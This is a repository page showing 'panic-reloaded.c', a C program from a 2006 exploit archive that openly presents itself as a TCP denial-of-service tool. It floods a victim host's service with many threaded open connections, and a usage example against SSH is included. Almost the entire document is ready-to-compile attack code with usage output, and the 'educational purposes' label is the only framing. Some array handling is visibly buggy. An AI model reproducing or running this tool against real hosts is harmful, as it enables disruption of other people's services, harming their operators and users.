Repository navigation
Expand file tree
/
Copy path1671.c
More file actions
executable file
·260 lines (196 loc) · 5.66 KB
/
Copy path1671.c
File metadata and controls
executable file
·260 lines (196 loc) · 5.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
/* -----------------------------------------------------------------------------
* ______________________________ __________
* __ ____/_ __ \__ __/__ __/_____ ____ ____ /_ /_
* _ / __ _ / / /_ / __ /_ _ __ / / / /_ /_ __/
* / /_/ / / /_/ /_ / _ __/ / /_/ // /_/ /_ / / /_
* \____/ \____/ /_/ /_/ \__,_/ \__,_/ /_/ \__/
* Security Community
*
* -----------------------------------------------------------------------------
*
* Software for educational purposes
*
* panic-reloaded.c written by hash <hash AT gotfault DOT net>
* <www.gotfault.net>
*
* Description: TCP Denial Of Service Tool. panic-reloaded does
* not require large link or fast internet connection,
* it creates many pthreads, leaving openned connections
* to victim host. It is fast and an efficient way to
* deny a TCP service.
*
* Tested against SSH, FTP, HTTP.
*
* TTY1:
* hash@scarface:~$ gcc -lpthread panic-reloaded.c -o panic-reloaded -Wall
* hash@scarface:~$ ./panic-reloaded3 10.10.10.2 22 20 100 10
* panic-reloaded.c
* written by hash <http://gotfault.net>
* [!] Target: localhost:443
* [!] Threads: 20 for each round
* [*] Countdown: 40 | [!] Sleeping: 10s
*
* TTY2:
* hash@scarface:~$ ssh localhost
* ssh_exchange_identification: Connection closed by remote host
* hash@scarface:~$
*
*
* Greets to folks from gotfault, rfdslabs, tripbit
* and to friends out there.
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <pthread.h>
#define AUTHOR "written by hash <http://gotfault.net>"
void usage(char*);
void sockz(void*);
void header();
void close_func(void *);
char *resolver(char*);
struct pthread_args {
char *host_pthread;
char *port_pthread;
char *slp_pthread;
};struct pthread_args thread_data_array[1];
struct pthread_close {
char *slp_pthread;
int sock_pointer;
};struct pthread_close thread_data[0];
void usage(char *progname) {
header();
printf("Use: %s host port threads rounds sleep_time\n",progname);
printf("host: ip address or hostname\n");
printf("port: victim port\n");
printf("threads: number of threads\n");
printf("rounds: number of reloads, min 40\n");
printf("sleep_time: sleep time between each round\n");
exit(0);
}
void header() {
printf("panic-reloaded.c\n");
printf("%s\n",AUTHOR);
}
void close_func(void *c) {
struct pthread_close *my_close;
char *slp_tmp;
int slp,
err,
sock_p;
my_close = (struct pthread_close *) c;
slp_tmp = my_close->slp_pthread;
sock_p = my_close->sock_pointer;
slp = atoi(slp_tmp);
sleep(slp+1);
if((err = close(sock_p)) < 0) {
printf("close_func: Can`t close socket\n");
exit(-1);
}
}
void sockz(void *t) {
struct sockaddr_in dest;
struct pthread_args *my_data;
pthread_t close_them_all;
char *h,
*p_tmp,
*slp_tmp;
int p,
con,
err,
desc,
slp;
my_data = (struct pthread_args *) t;
h = my_data->host_pthread;
p_tmp = my_data->port_pthread;
slp_tmp = my_data->slp_pthread;
p = atoi(p_tmp);
slp = atoi(slp_tmp);
desc = socket(AF_INET,SOCK_STREAM,0);
if((desc = socket(AF_INET,SOCK_STREAM,0)) < 0) {
perror("sockz: Can`t create socket\n");
exit(-1);
}
dest.sin_family = AF_INET;
dest.sin_port = htons(p);
dest.sin_addr.s_addr = inet_addr(h);
bzero(&(dest.sin_zero),8);
con = connect(desc,(struct sockaddr *)&dest,sizeof(dest));
if(con < 0) {
printf("\nsockz: Can`t connect to %s:%d\n",h,p);
close(desc);
exit(-1);
}
thread_data[0].sock_pointer = desc;
thread_data[0].slp_pthread = slp_tmp;
if((err = pthread_create(&close_them_all,NULL,(void*)&close_func,\
(void*)&thread_data[0]) == -1)) {
printf("sockz: Can`t create thread\n");
exit(-1);
}
}
char *resolver(char *hosttmp){
struct hostent *h;
char *host;
h = gethostbyname(hosttmp);
if(!h) {
printf("resolver: Can`t resolve hostname %s\n",hosttmp);
exit(-1);
}
host = inet_ntoa(*((struct in_addr *)h->h_addr_list[0]));
return host;
}
int main(int ac, char **av) {
if(ac<6)
usage(av[0]);
int x,
y,
z,
err;
char *hosttmp,
*port,
*host,
*slp;
int sockets,
rounds,
slptime,
countdown;
hosttmp = av[1];
port = av[2];
sockets = atoi(av[3]);
rounds = atoi(av[4]); countdown = rounds;
slp = av[5];
slptime = atoi(slp);
if(rounds<40)
usage(av[0]);
host = resolver(hosttmp);
pthread_t threads[rounds];
header();
printf("[!] Target: %s:%s\n",host,port);
printf("[!] Threads: %d for each round\n",sockets);
for(z=0;z<rounds;z++) {
for(x=0;x<sockets;x++) {
thread_data_array[x].host_pthread = host;
thread_data_array[x].port_pthread = port;
thread_data_array[x].slp_pthread = slp;
if((err = pthread_create(&threads[x],NULL,(void*)&sockz,\
(void*)&thread_data_array[x])) == -1){
printf("main: Can`t create thread\n");
exit(-1);
}
for(y=0;y<sockets;y++)
pthread_join(threads[y],NULL);
}
printf("[*] Countdown: %d | [!] Sleeping: %ds\n",countdown--,slptime);
sleep(slptime);
}
printf("Done!\n");
return 0;
}
/*oef*/
// milw0rm.com [2006-04-13]